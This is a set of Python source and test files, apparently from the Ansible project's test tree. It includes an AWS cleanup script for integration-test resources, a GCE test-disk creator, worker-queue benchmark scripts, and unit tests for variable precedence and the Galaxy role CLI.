--yes|-y is provided, the prompt for confirmation prior to deleting resources.
Please use caution, you can easily delete you're *ENTIRE* EC2 infrastructure.
'''

import os
import re
import sys
import boto
import optparse
import yaml
import os.path
import boto.ec2.elb
import time

def delete_aws_resources(get_func, attr, opts):
    for item in get_func():
        val = getattr(item, attr)
        if re.search(opts.match_re, val):
            prompt_and_delete(item, "Delete matching %s? [y/n]: " % (item,), opts.assumeyes)

def delete_autoscaling_group(get_func, attr, opts):
    assumeyes = opts.assumeyes
    group_name = None
    for item in get_func():
        group_name = getattr(item, attr)
        if re.search(opts.match_re, group_name):
            if not opts.assumeyes:
                assumeyes = raw_input("Delete matching %s? [y/n]: " % (item).lower()) == 'y'
            break
    if assumeyes and group_name:
        groups = asg.get_all_groups(names=[group_name])
        if groups:
            group = groups[0]
            group.max_size = 0
            group.min_size = 0
            group.desired_capacity = 0
            group.update()
            instances = True
            while instances:
                tmp_groups = asg.get_all_groups(names=[group_name])
                if tmp_groups:
                    tmp_group = tmp_groups[0]
                    if not tmp_group.instances:
                       instances = False
                time.sleep(10)

            group.delete()
            while len(asg.get_all_groups(names=[group_name])):
                time.sleep(5)
            print ("Terminated ASG: %s" % group_name)

def delete_aws_eips(get_func, attr, opts):

    # the file might not be there if the integration test wasn't run
    try:
      eip_log = open(opts.eip_log, 'r').read().splitlines()
    except IOError:
      print('%s not found.' % opts.eip_log)
      return

    for item in get_func():
        val = getattr(item, attr)
        if val in eip_log:
          prompt_and_delete(item, "Delete matching %s? [y/n]: " % (item,), opts.assumeyes)

def delete_aws_instances(reservation, opts):
    for list in reservation:
        for item in list.instances:
            prompt_and_delete(item, "Delete matching %s? [y/n]: " % (item,), opts.assumeyes)

def prompt_and_delete(item, prompt, assumeyes):
    if not assumeyes:
        assumeyes = raw_input(prompt).lower() == 'y'
    assert hasattr(item, 'delete') or hasattr(item, 'terminate') , "Class <%s> has no delete or terminate attribute" % item.__class__
    if assumeyes:
        if  hasattr(item, 'delete'):
            item.delete()
            print ("Deleted %s" % item)
        if  hasattr(item, 'terminate'):
            item.terminate()
            print ("Terminated %s" % item)

def parse_args():
    # Load details from credentials.yml
    default_aws_access_key = os.environ.get('AWS_ACCESS_KEY', None)
    default_aws_secret_key = os.environ.get('AWS_SECRET_KEY', None)
    if os.path.isfile('credentials.yml'):
        credentials = yaml.load(open('credentials.yml', 'r'))

        if default_aws_access_key is None:
            default_aws_access_key = credentials['ec2_access_key']
        if default_aws_secret_key is None:
            default_aws_secret_key = credentials['ec2_secret_key']

    parser = optparse.OptionParser(usage="%s [options]" % (sys.argv[0],),
                description=__doc__)
    parser.add_option("--access",
        action="store", dest="ec2_access_key",
        default=default_aws_access_key,
        help="Amazon ec2 access id.  Can use EC2_ACCESS_KEY environment variable, or a values from credentials.yml.")
    parser.add_option("--secret",
        action="store", dest="ec2_secret_key",
        default=default_aws_secret_key,
        help="Amazon ec2 secret key.  Can use EC2_SECRET_KEY environment variable, or a values from credentials.yml.")
    parser.add_option("--eip-log",
        action="store", dest="eip_log",
        default = None,
        help = "Path to log of EIPs created during test.")
    parser.add_option("--integration-config",
        action="store", dest="int_config",
        default = "integration_config.yml",
        help = "path to integration config")
    parser.add_option("--credentials", "-c",
        action="store", dest="credential_file",
        default="credentials.yml",
        help="YAML file to read cloud credentials (default: %default)")
    parser.add_option("--yes", "-y",
        action="store_true", dest="assumeyes",
        default=False,
        help="Don't prompt for confirmation")
    parser.add_option("--match",
        action="store", dest="match_re",
        default="^ansible-testing-",
        help="Regular expression used to find AWS resources (default: %default)")

    (opts, args) = parser.parse_args()
    for required in ['ec2_access_key', 'ec2_secret_key']:
        if getattr(opts, required) is None:
            parser.error("Missing required parameter: --%s" % required)


    return (opts, args)

if __name__ == '__main__':

    (opts, args) = parse_args()

    int_config = yaml.load(open(opts.int_config).read())
    if not opts.eip_log:
        output_dir = os.path.expanduser(int_config["output_dir"])
        opts.eip_log = output_dir + '/' + opts.match_re.replace('^','') + '-eip_integration_tests.log'

    # Connect to AWS
    aws = boto.connect_ec2(aws_access_key_id=opts.ec2_access_key,
            aws_secret_access_key=opts.ec2_secret_key)

    elb = boto.connect_elb(aws_access_key_id=opts.ec2_access_key,
            aws_secret_access_key=opts.ec2_secret_key)

    asg = boto.connect_autoscale(aws_access_key_id=opts.ec2_access_key,
            aws_secret_access_key=opts.ec2_secret_key)

    try:
        # Delete matching keys
        delete_aws_resources(aws.get_all_key_pairs, 'name', opts)

        # Delete matching security groups
        delete_aws_resources(aws.get_all_security_groups, 'name', opts)

        # Delete matching ASGs
        delete_autoscaling_group(asg.get_all_groups, 'name', opts)

        # Delete matching launch configs
        delete_aws_resources(asg.get_all_launch_configurations, 'name', opts)

        # Delete ELBs
        delete_aws_resources(elb.get_all_load_balancers, 'name', opts)

        # Delete recorded EIPs
        delete_aws_eips(aws.get_all_addresses, 'public_ip', opts)

        # Delete temporary instances
        filters = {"tag:Name":opts.match_re.replace('^',''), "instance-state-name": ['running', 'pending', 'stopped' ]}
        delete_aws_instances(aws.get_all_instances(filters=filters), opts)

    except KeyboardInterrupt as e:
        print("\nExiting on user command.")






''' Checks that the consul agent is running locally. '''

if __name__ == '__main__':

    try:
        import consul
        consul = consul.Consul(host='0.0.0.0', port=8500)
        consul.catalog.nodes()
        print("True")
    except:
        pass






'''
Create GCE resources for use in integration tests.

Takes a prefix as a command-line argument and creates two persistent disks named
${prefix}-base and ${prefix}-extra and a snapshot of the base disk named
${prefix}-snapshot. prefix will be forced to lowercase, to ensure the names are
legal GCE resource names.
'''

import sys
import optparse

import gce_credentials


def parse_args():
    parser = optparse.OptionParser(
        usage="%s [options] <prefix>" % (sys.argv[0],), description=__doc__)
    gce_credentials.add_credentials_options(parser)
    parser.add_option("--prefix",
        action="store", dest="prefix",
        help="String used to prefix GCE resource names (default: %default)")

    (opts, args) = parser.parse_args()
    gce_credentials.check_required(opts, parser)
    if not args:
      parser.error("Missing required argument: name prefix")
    return (opts, args)

if __name__ == '__main__':

    (opts, args) = parse_args()
    gce = gce_credentials.get_gce_driver(opts)
    prefix = args[0].lower()
    try:
      base_volume = gce.create_volume(
          size=10, name=prefix+'-base', location='us-central1-a')
      gce.create_volume_snapshot(base_volume, name=prefix+'-snapshot')
      gce.create_volume(
          size=10, name=prefix+'-extra', location='us-central1-a')
    except KeyboardInterrupt as e:
        print("\nExiting on user command.")






import mimetypes

if __name__ == '__main__':
    mimetypes.init()
    mimetypes.add_type('application/json', '.json')
    import SimpleHTTPServer
    SimpleHTTPServer.test()






#!/usr/bin/env python

import sys
import time
import Queue
import traceback
import multiprocessing

from ansible.inventory import Inventory
from ansible.inventory.host import Host
from ansible.playbook.play import Play
from ansible.playbook.play_context import PlayContext
from ansible.playbook.task import Task
from ansible.executor.task_executor import TaskExecutor
from ansible.executor.task_result import TaskResult
from ansible.parsing.dataloader import DataLoader
from ansible.vars import VariableManager

from ansible.utils.display import Display
display = Display()
debug = display.debug

NUM_WORKERS = 20
NUM_HOSTS   = 1778
NUM_TASKS   = 1

def results(final_q, workers):
   cur_worker = 0
   def _read_worker_result(cur_worker):
      result = None
      starting_point = cur_worker
      while True:
         (worker_prc, main_q, res_q) = workers[cur_worker]
         cur_worker += 1
         if cur_worker >= len(workers):
            cur_worker = 0

         try:
            if not res_q.empty():
               debug("worker %d has data to read" % cur_worker)
               result = res_q.get()
               debug("got a result from worker %d: %s" % (cur_worker, result))
               break
         except:
            pass

         if cur_worker == starting_point:
            break

      return (result, cur_worker)

   while True:
      result = None
      try:
         (result, cur_worker) = _read_worker_result(cur_worker)
         if result is None:
            time.sleep(0.01)
            continue
         final_q.put(result, block=False)
      except (IOError, EOFError, KeyboardInterrupt) as e:
         debug("got a breaking error: %s" % e)
         break
      except Exception as e:
         debug("EXCEPTION DURING RESULTS PROCESSING: %s" % e)
         traceback.print_exc()
         break

def worker(main_q, res_q, loader):
   while True:
      task = None
      try:
         if not main_q.empty():
            (host, task, task_vars, conn_info) = main_q.get(block=False)
            executor_result = TaskExecutor(host, task, task_vars, conn_info, loader).run()
            debug("executor result: %s" % executor_result)
            task_result = TaskResult(host, task, executor_result)
            res_q.put(task_result)
         else:
            time.sleep(0.01)
      except Queue.Empty:
         pass
      except (IOError, EOFError, KeyboardInterrupt) as e:
         debug("got a breaking error: %s" % e)
         break
      except Exception as e:
         debug("EXCEPTION DURING WORKER PROCESSING: %s" % e)
         traceback.print_exc()
         break

loader = DataLoader()

workers = []
for i in range(NUM_WORKERS):
   main_q = multiprocessing.Queue()
   res_q  = multiprocessing.Queue()
   worker_p = multiprocessing.Process(target=worker, args=(main_q, res_q, loader))
   worker_p.start()
   workers.append((worker_p, main_q, res_q))

res_q = multiprocessing.Queue()
res_p = multiprocessing.Process(target=results, args=(res_q, workers))
res_p.start()

def send_data(obj):
   global cur_worker
   global workers
   global pending_results

   (w_proc, main_q, wrkr_q) = workers[cur_worker]
   cur_worker += 1
   if cur_worker >= len(workers):
      cur_worker = 0

   pending_results += 1
   main_q.put(obj, block=False)
 
def _process_pending_results():
   global res_q
   global pending_results
   
   while not res_q.empty():
      try:
         result = res_q.get(block=False)
         debug("got final result: %s" % (result,))
         pending_results -= 1
      except Queue.Empty:
         pass

def _wait_on_pending_results():
   global pending_results
   while pending_results > 0:
      debug("waiting for pending results (%d left)" % pending_results)
      _process_pending_results()
      time.sleep(0.01)


debug("starting")
cur_worker      = 0
pending_results = 0


var_manager = VariableManager()

debug("loading inventory")
inventory = Inventory(host_list='/tmp/med_inventory', loader=loader, variable_manager=var_manager)
hosts = inventory.get_hosts()[:]
debug("done loading inventory")

play_context = PlayContext()
play_context.connection = 'local'

for i in range(NUM_TASKS):
   #for j in range(NUM_HOSTS):
   for h in hosts:
      debug("queuing %s %d" % (h, i))
      #h = Host(name="host%06d" % j)
      t = Task().load(dict(name="task %d" % (i,), debug="msg='hello from %s, %d'" % (h,i)))
      #t = Task().load(dict(name="task %d" % (i,), ping=""))
      #task_vars = var_manager.get_vars(loader=loader, host=h, task=t)
      task_vars = dict()
      new_t = t.copy()
      new_t.post_validate(task_vars)
      send_data((h, t, task_vars, play_context))
      debug("done queuing %s %d" % (h, i))
      _process_pending_results()
   debug("waiting for the results to drain...")
   _wait_on_pending_results()

res_q.close()
res_p.terminate()

for (w_p, main_q, wrkr_q) in workers:
   main_q.close()
   wrkr_q.close()
   w_p.terminate()

debug("done")






#!/usr/bin/env python

import time
import Queue
import traceback
from multiprocessing import Process, Manager, Pipe, RLock

from ansible.playbook.play import Play
from ansible.playbook.task import Task

from ansible.utils.display import Display
display = Display()
debug = display.debug

NUM_WORKERS = 50
NUM_HOSTS   = 2500
NUM_TASKS   = 1

class Foo:
   def __init__(self, i, j):
      self._foo = "FOO_%05d_%05d" % (i, j)

   def __repr__(self):
      return self._foo

   def __getstate__(self):
      debug("pickling %s" % self._foo)
      return dict(foo=self._foo)

   def __setstate__(self, data):
      debug("unpickling...")
      self._foo = data.get('foo', "BAD PICKLE!")
      debug("unpickled %s" % self._foo)

def results(pipe, workers):
   cur_worker = 0
   def _read_worker_result(cur_worker):
      result = None
      starting_point = cur_worker
      while True:
         (worker_prc, main_pipe, res_pipe) = workers[cur_worker]
         cur_worker += 1
         if cur_worker >= len(workers):
            cur_worker = 0

         if res_pipe[1].poll(0.01):
            debug("worker %d has data to read" % cur_worker)
            result = res_pipe[1].recv()
            debug("got a result from worker %d: %s" % (cur_worker, result))
            break

         if cur_worker == starting_point:
            break

      return (result, cur_worker)

   while True:
      result = None
      try:
         (result, cur_worker) = _read_worker_result(cur_worker)
         if result is None:
            time.sleep(0.01)
            continue
         pipe.send(result)
      except (IOError, EOFError, KeyboardInterrupt) as e:
         debug("got a breaking error: %s" % e)
         break
      except Exception as e:
         debug("EXCEPTION DURING RESULTS PROCESSING: %s" % e)
         traceback.print_exc()
         break

def worker(main_pipe, res_pipe):
   while True:
      foo = None
      try:
         if main_pipe.poll(0.01):
            foo = main_pipe.recv()
            time.sleep(0.07)
            res_pipe.send(foo)
         else:
            time.sleep(0.01)
      except (IOError, EOFError, KeyboardInterrupt), e:
         debug("got a breaking error: %s" % e)
         break
      except Exception, e:
         debug("EXCEPTION DURING WORKER PROCESSING: %s" % e)
         traceback.print_exc()
         break

workers = []
for i in range(NUM_WORKERS):
   (main_p1, main_p2) = Pipe()
   (res_p1, res_p2)   = Pipe()
   worker_p = Process(target=worker, args=(main_p2, res_p1))
   worker_p.start()
   workers.append((worker_p, (main_p1, main_p2), (res_p1, res_p2)))

in_p, out_p = Pipe()
res_p = Process(target=results, args=(in_p, workers))
res_p.start()

def send_data(obj):
   global cur_worker
   global workers
   global pending_results

   (w_proc, main_pipe, res_pipe) = workers[cur_worker]
   cur_worker += 1
   if cur_worker >= len(workers):
      cur_worker = 0

   pending_results += 1
   main_pipe[0].send(obj)
 
def _process_pending_results():
   global out_p
   global pending_results
   
   try:
      #p_lock.acquire()
      while out_p.poll(0.01):
         result = out_p.recv()
         debug("got final result: %s" % (result,))
         pending_results -= 1
   finally:
      #p_lock.release()
      pass

def _wait_on_pending_results():
   global pending_results
   while pending_results > 0:
      debug("waiting for pending results (%d left)" % pending_results)
      _process_pending_results()
      time.sleep(0.01)


debug("starting")
cur_worker      = 0
pending_results = 0

sample_play = Play()
for i in range(NUM_TASKS):
   for j in range(NUM_HOSTS):
      debug("queuing %d, %d" % (i, j))
      send_data(Task().load(dict(name="task %d %d" % (i,j), ping=""), sample_play))
      debug("done queuing %d, %d" % (i, j))
      _process_pending_results()
   debug("waiting for the results to drain...")
   _wait_on_pending_results()

in_p.close()
out_p.close()
res_p.terminate()

for (w_p, main_pipe, res_pipe) in workers:
   res_pipe[1].close()
   res_pipe[0].close()
   main_pipe[1].close()
   main_pipe[0].close()
   w_p.terminate()

debug("done")







# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from collections import defaultdict
from six import iteritems

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, MagicMock
from ansible.inventory import Inventory
from ansible.playbook.play import Play
from ansible.vars import VariableManager

from units.mock.loader import DictDataLoader
from units.mock.path import mock_unfrackpath_noop

class TestVariableManager(unittest.TestCase):

    def setUp(self):
        pass

    def tearDown(self):
        pass

    def test_basic_manager(self):
        fake_loader = DictDataLoader({})

        v = VariableManager()
        vars = v.get_vars(loader=fake_loader, use_cache=False)
        if 'omit' in vars:
            del vars['omit']
        if 'vars' in vars:
            del vars['vars']
        if 'ansible_version' in vars:
            del vars['ansible_version']
        if 'ansible_check_mode' in vars:
            del vars['ansible_check_mode']

        self.assertEqual(vars, dict(playbook_dir='.'))

    def test_variable_manager_extra_vars(self):
        fake_loader = DictDataLoader({})

        extra_vars = dict(a=1, b=2, c=3)
        v = VariableManager()
        v.extra_vars = extra_vars

        vars = v.get_vars(loader=fake_loader, use_cache=False)

        for (key, val) in iteritems(extra_vars):
            self.assertEqual(vars.get(key), val)

        self.assertIsNot(v.extra_vars, extra_vars)

    def test_variable_manager_host_vars_file(self):
        fake_loader = DictDataLoader({
            "host_vars/hostname1.yml": """
               foo: bar
            """,
            "other_path/host_vars/hostname1.yml": """
               foo: bam
               baa: bat
            """,
            "host_vars/host.name.yml": """
               host_with_dots: true
            """,
        })

        v = VariableManager()
        v.add_host_vars_file("host_vars/hostname1.yml", loader=fake_loader)
        v.add_host_vars_file("other_path/host_vars/hostname1.yml", loader=fake_loader)
        self.assertIn("hostname1", v._host_vars_files)
        self.assertEqual(v._host_vars_files["hostname1"], [dict(foo="bar"), dict(foo="bam", baa="bat")])

        mock_host = MagicMock()
        mock_host.get_name.return_value = "hostname1"
        mock_host.get_vars.return_value = dict()
        mock_host.get_groups.return_value = ()
        mock_host.get_group_vars.return_value = dict()

        self.assertEqual(v.get_vars(loader=fake_loader, host=mock_host, use_cache=False).get("foo"), "bam")
        self.assertEqual(v.get_vars(loader=fake_loader, host=mock_host, use_cache=False).get("baa"), "bat")

        v.add_host_vars_file("host_vars/host.name", loader=fake_loader)
        self.assertEqual(v._host_vars_files["host.name"], [dict(host_with_dots=True)])

    def test_variable_manager_group_vars_file(self):
        fake_loader = DictDataLoader({
            "group_vars/all.yml": """
               foo: bar
            """,
            "group_vars/somegroup.yml": """
               bam: baz
            """,
            "other_path/group_vars/somegroup.yml": """
               baa: bat
            """,
            "group_vars/some.group.yml": """
               group_with_dots: true
            """,
        })

        v = VariableManager()
        v.add_group_vars_file("group_vars/all.yml", loader=fake_loader)
        v.add_group_vars_file("group_vars/somegroup.yml", loader=fake_loader)
        v.add_group_vars_file("other_path/group_vars/somegroup.yml", loader=fake_loader)
        self.assertIn("somegroup", v._group_vars_files)
        self.assertEqual(v._group_vars_files["all"], [dict(foo="bar")])
        self.assertEqual(v._group_vars_files["somegroup"], [dict(bam="baz"), dict(baa="bat")])

        mock_group = MagicMock()
        mock_group.name = "somegroup"
        mock_group.get_ancestors.return_value = ()
        mock_group.get_vars.return_value = dict()

        mock_host = MagicMock()
        mock_host.get_name.return_value = "hostname1"
        mock_host.get_vars.return_value = dict()
        mock_host.get_groups.return_value = (mock_group,)
        mock_host.get_group_vars.return_value = dict()

        vars = v.get_vars(loader=fake_loader, host=mock_host, use_cache=False)
        self.assertEqual(vars.get("foo"), "bar")
        self.assertEqual(vars.get("baa"), "bat")

        v.add_group_vars_file("group_vars/some.group", loader=fake_loader)
        self.assertEqual(v._group_vars_files["some.group"], [dict(group_with_dots=True)])

    def test_variable_manager_play_vars(self):
        fake_loader = DictDataLoader({})

        mock_play = MagicMock()
        mock_play.get_vars.return_value = dict(foo="bar")
        mock_play.get_roles.return_value = []
        mock_play.get_vars_files.return_value = []

        v = VariableManager()
        self.assertEqual(v.get_vars(loader=fake_loader, play=mock_play, use_cache=False).get("foo"), "bar")

    def test_variable_manager_play_vars_files(self):
        fake_loader = DictDataLoader({
            "/path/to/somefile.yml": """
               foo: bar
            """
        })

        mock_play = MagicMock()
        mock_play.get_vars.return_value = dict()
        mock_play.get_roles.return_value = []
        mock_play.get_vars_files.return_value = ['/path/to/somefile.yml']

        v = VariableManager()
        self.assertEqual(v.get_vars(loader=fake_loader, play=mock_play, use_cache=False).get("foo"), "bar")

    def test_variable_manager_task_vars(self):
        fake_loader = DictDataLoader({})

        mock_task = MagicMock()
        mock_task._role = None
        mock_task.loop = None
        mock_task.get_vars.return_value = dict(foo="bar")
        mock_task.get_include_params.return_value = dict()

        v = VariableManager()
        self.assertEqual(v.get_vars(loader=fake_loader, task=mock_task, use_cache=False).get("foo"), "bar")

    @patch.object(Inventory, 'basedir')
    @patch('ansible.playbook.role.definition.unfrackpath', mock_unfrackpath_noop)
    def test_variable_manager_precedence(self, mock_basedir):
        '''
        Tests complex variations and combinations of get_vars() with different
        objects to modify the context under which variables are merged.
        '''

        v = VariableManager()
        v._fact_cache = defaultdict(dict)

        fake_loader = DictDataLoader({
            # inventory1
            '/etc/ansible/inventory1': """
            [group2:children]
            group1

            [group1]
            host1 host_var=host_var_from_inventory_host1

            [group1:vars]
            group_var = group_var_from_inventory_group1

            [group2:vars]
            group_var = group_var_from_inventory_group2
            """,

            # role defaults_only1
            '/etc/ansible/roles/defaults_only1/defaults/main.yml': """
            default_var: "default_var_from_defaults_only1"
            host_var: "host_var_from_defaults_only1"
            group_var: "group_var_from_defaults_only1"
            group_var_all: "group_var_all_from_defaults_only1"
            extra_var: "extra_var_from_defaults_only1"
            """,
            '/etc/ansible/roles/defaults_only1/tasks/main.yml': """
            - debug: msg="here i am"
            """,

            # role defaults_only2
            '/etc/ansible/roles/defaults_only2/defaults/main.yml': """
            default_var: "default_var_from_defaults_only2"
            host_var: "host_var_from_defaults_only2"
            group_var: "group_var_from_defaults_only2"
            group_var_all: "group_var_all_from_defaults_only2"
            extra_var: "extra_var_from_defaults_only2"
            """,
        })

        mock_basedir.return_value = './'
        inv1 = Inventory(loader=fake_loader, variable_manager=v, host_list='/etc/ansible/inventory1')
        inv1.set_playbook_basedir('./')

        play1 = Play.load(dict(
           hosts=['all'],
           roles=['defaults_only1', 'defaults_only2'],
        ), loader=fake_loader, variable_manager=v)

        # first we assert that the defaults as viewed as a whole are the merged results
        # of the defaults from each role, with the last role defined "winning" when
        # there is a variable naming conflict
        res = v.get_vars(loader=fake_loader, play=play1)
        self.assertEqual(res['default_var'], 'default_var_from_defaults_only2')

        # next, we assert that when vars are viewed from the context of a task within a
        # role, that task will see its own role defaults before any other role's
        blocks = play1.compile()
        task = blocks[1].block[0]
        res = v.get_vars(loader=fake_loader, play=play1, task=task)
        self.assertEqual(res['default_var'], 'default_var_from_defaults_only1')

        # next we assert the precendence of inventory variables
        v.set_inventory(inv1)
        h1 = inv1.get_host('host1')

        res = v.get_vars(loader=fake_loader, play=play1, host=h1)
        self.assertEqual(res['group_var'], 'group_var_from_inventory_group1')
        self.assertEqual(res['host_var'], 'host_var_from_inventory_host1')

        # next we test with group_vars/ files loaded
        fake_loader.push("/etc/ansible/group_vars/all", """
        group_var_all: group_var_all_from_group_vars_all
        """)
        fake_loader.push("/etc/ansible/group_vars/group1", """
        group_var: group_var_from_group_vars_group1
        """)
        fake_loader.push("/etc/ansible/group_vars/group3", """
        # this is a dummy, which should not be used anywhere
        group_var: group_var_from_group_vars_group3
        """)
        fake_loader.push("/etc/ansible/host_vars/host1", """
        host_var: host_var_from_host_vars_host1
        """)
        fake_loader.push("group_vars/group1", """
        playbook_group_var: playbook_group_var
        """)
        fake_loader.push("host_vars/host1", """
        playbook_host_var: playbook_host_var
        """)

        v.add_group_vars_file("/etc/ansible/group_vars/all", loader=fake_loader)
        v.add_group_vars_file("/etc/ansible/group_vars/group1", loader=fake_loader)
        v.add_group_vars_file("/etc/ansible/group_vars/group2", loader=fake_loader)
        v.add_group_vars_file("group_vars/group1", loader=fake_loader)
        v.add_host_vars_file("/etc/ansible/host_vars/host1", loader=fake_loader)
        v.add_host_vars_file("host_vars/host1", loader=fake_loader)

        res = v.get_vars(loader=fake_loader, play=play1, host=h1)
        self.assertEqual(res['group_var'], 'group_var_from_group_vars_group1')
        self.assertEqual(res['group_var_all'], 'group_var_all_from_group_vars_all')
        self.assertEqual(res['playbook_group_var'], 'playbook_group_var')
        self.assertEqual(res['host_var'], 'host_var_from_host_vars_host1')
        self.assertEqual(res['playbook_host_var'], 'playbook_host_var')

        # add in the fact cache
        v._fact_cache['host1'] = dict(fact_cache_var="fact_cache_var_from_fact_cache")

        res = v.get_vars(loader=fake_loader, play=play1, host=h1)
        self.assertEqual(res['fact_cache_var'], 'fact_cache_var_from_fact_cache')

    @patch('ansible.playbook.role.definition.unfrackpath', mock_unfrackpath_noop)
    def test_variable_manager_role_vars_dependencies(self):
        '''
        Tests vars from role dependencies with duplicate dependencies.
        '''

        v = VariableManager()
        v._fact_cache = defaultdict(dict)

        fake_loader = DictDataLoader({
            # role common-role
            '/etc/ansible/roles/common-role/tasks/main.yml': """
            - debug: msg="{{role_var}}"
            """,
            # We do not need allow_duplicates: yes for this role
            # because eliminating duplicates is done by the execution
            # strategy, which we do not test here.

            # role role1
            '/etc/ansible/roles/role1/vars/main.yml': """
            role_var: "role_var_from_role1"
            """,
            '/etc/ansible/roles/role1/meta/main.yml': """
            dependencies:
              - { role: common-role }
            """,

            # role role2
            '/etc/ansible/roles/role2/vars/main.yml': """
            role_var: "role_var_from_role2"
            """,
            '/etc/ansible/roles/role2/meta/main.yml': """
            dependencies:
              - { role: common-role }
            """,
        })

        play1 = Play.load(dict(
           hosts=['all'],
           roles=['role1', 'role2'],
        ), loader=fake_loader, variable_manager=v)

        # The task defined by common-role exists twice because role1
        # and role2 depend on common-role.  Check that the tasks see
        # different values of role_var.
        blocks = play1.compile()
        task = blocks[1].block[0]
        res = v.get_vars(loader=fake_loader, play=play1, task=task)
        self.assertEqual(res['role_var'], 'role_var_from_role1')

        task = blocks[2].block[0]
        res = v.get_vars(loader=fake_loader, play=play1, task=task)
        self.assertEqual(res['role_var'], 'role_var_from_role2')












# (c) 2016, Adrian Likins <alikins@redhat.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import shutil
import tarfile
import tempfile

from mock import patch
from nose.plugins.skip import SkipTest

from ansible.compat.six import PY3
from ansible.compat.tests import unittest
from mock import patch, call

import ansible
from ansible.errors import AnsibleError, AnsibleOptionsError

from nose.plugins.skip import SkipTest

if PY3:
    raise SkipTest('galaxy is not ported to be py3 compatible yet')

from ansible.cli.galaxy import GalaxyCLI

class TestGalaxy(unittest.TestCase):
    @classmethod
    def setUpClass(cls):
        '''creating prerequisites for installing a role; setUpClass occurs ONCE whereas setUp occurs with every method tested.'''
        # class data for easy viewing: role_dir, role_tar, role_name, role_req, role_path

        if os.path.exists("./delete_me"):
            shutil.rmtree("./delete_me")

        # creating framework for a role
        gc = GalaxyCLI(args=["init"])
        with patch('sys.argv', ["-c", "--offline", "delete_me"]):
            gc.parse()
        gc.run()
        cls.role_dir = "./delete_me"
        cls.role_name = "delete_me"

        # making a temp dir for role installation
        cls.role_path = os.path.join(tempfile.mkdtemp(), "roles")
        if not os.path.isdir(cls.role_path):
            os.makedirs(cls.role_path)

        # creating a tar file name for class data
        cls.role_tar = './delete_me.tar.gz'
        cls.makeTar(cls.role_tar, cls.role_dir)

        # creating a temp file with installation requirements
        cls.role_req = './delete_me_requirements.yml'
        fd = open(cls.role_req, "w")
        fd.write("- 'src': '%s'\n  'name': '%s'\n  'path': '%s'" % (cls.role_tar, cls.role_name, cls.role_path))
        fd.close()

    @classmethod
    def makeTar(cls, output_file, source_dir):
        ''' used for making a tarfile from a role directory '''
        # adding directory into a tar file
        try:
            tar = tarfile.open(output_file, "w:gz")
            tar.add(source_dir, arcname=os.path.basename(source_dir))
        except AttributeError: # tarfile obj. has no attribute __exit__ prior to python 2.    7
                pass
        finally:  # ensuring closure of tarfile obj
            tar.close()

    @classmethod
    def tearDownClass(cls):
        '''After tests are finished removes things created in setUpClass'''
        # deleting the temp role directory
        if os.path.exists(cls.role_dir):
            shutil.rmtree(cls.role_dir)
        if os.path.exists(cls.role_req):
            os.remove(cls.role_req)
        if os.path.exists(cls.role_tar):
            os.remove(cls.role_tar)
        if os.path.isdir(cls.role_path):
            shutil.rmtree(cls.role_path)

    def setUp(self):
        self.default_args = []

    def test_init(self):
        galaxy_cli = GalaxyCLI(args=self.default_args)
        self.assertTrue(isinstance(galaxy_cli, GalaxyCLI))

    def test_display_min(self):
        gc = GalaxyCLI(args=self.default_args)
        role_info = {'name': 'some_role_name'}
        display_result = gc._display_role_info(role_info)
        self.assertTrue(display_result.find('some_role_name') >-1)

    def test_display_galaxy_info(self):
        gc = GalaxyCLI(args=self.default_args)
        galaxy_info = {}
        role_info = {'name': 'some_role_name',
                     'galaxy_info': galaxy_info}
        display_result = gc._display_role_info(role_info)
        if display_result.find('\n\tgalaxy_info:') == -1:
            self.fail('Expected galaxy_info to be indented once')

    def test_execute_remove(self):
        # installing role
        gc = GalaxyCLI(args=["install"])
        with patch('sys.argv', ["--offline", "-p", self.role_path, "-r", self.role_req]):
            galaxy_parser = gc.parse()
        gc.run()

        # checking that installation worked
        role_file = os.path.join(self.role_path, self.role_name)
        self.assertTrue(os.path.exists(role_file))

        # removing role
        gc = GalaxyCLI(args=["remove"])
        with patch('sys.argv', ["-c", "-p", self.role_path, self.role_name]):
            galaxy_parser = gc.parse()
        super(GalaxyCLI, gc).run()
        gc.api = ansible.galaxy.api.GalaxyAPI(gc.galaxy)
        completed_task = gc.execute_remove()

        # testing role was removed
        self.assertTrue(completed_task == 0)
        self.assertTrue(not os.path.exists(role_file))

    def test_exit_without_ignore(self):
        ''' tests that GalaxyCLI exits with the error specified unless the --ignore-errors flag is used '''
        gc = GalaxyCLI(args=["install"])

        # testing without --ignore-errors flag
        with patch('sys.argv', ["-c", "fake_role_name"]):
            galaxy_parser = gc.parse()
        with patch.object(ansible.utils.display.Display, "display", return_value=None) as mocked_display:
            # testing that error expected is raised
            self.assertRaises(AnsibleError, gc.run)
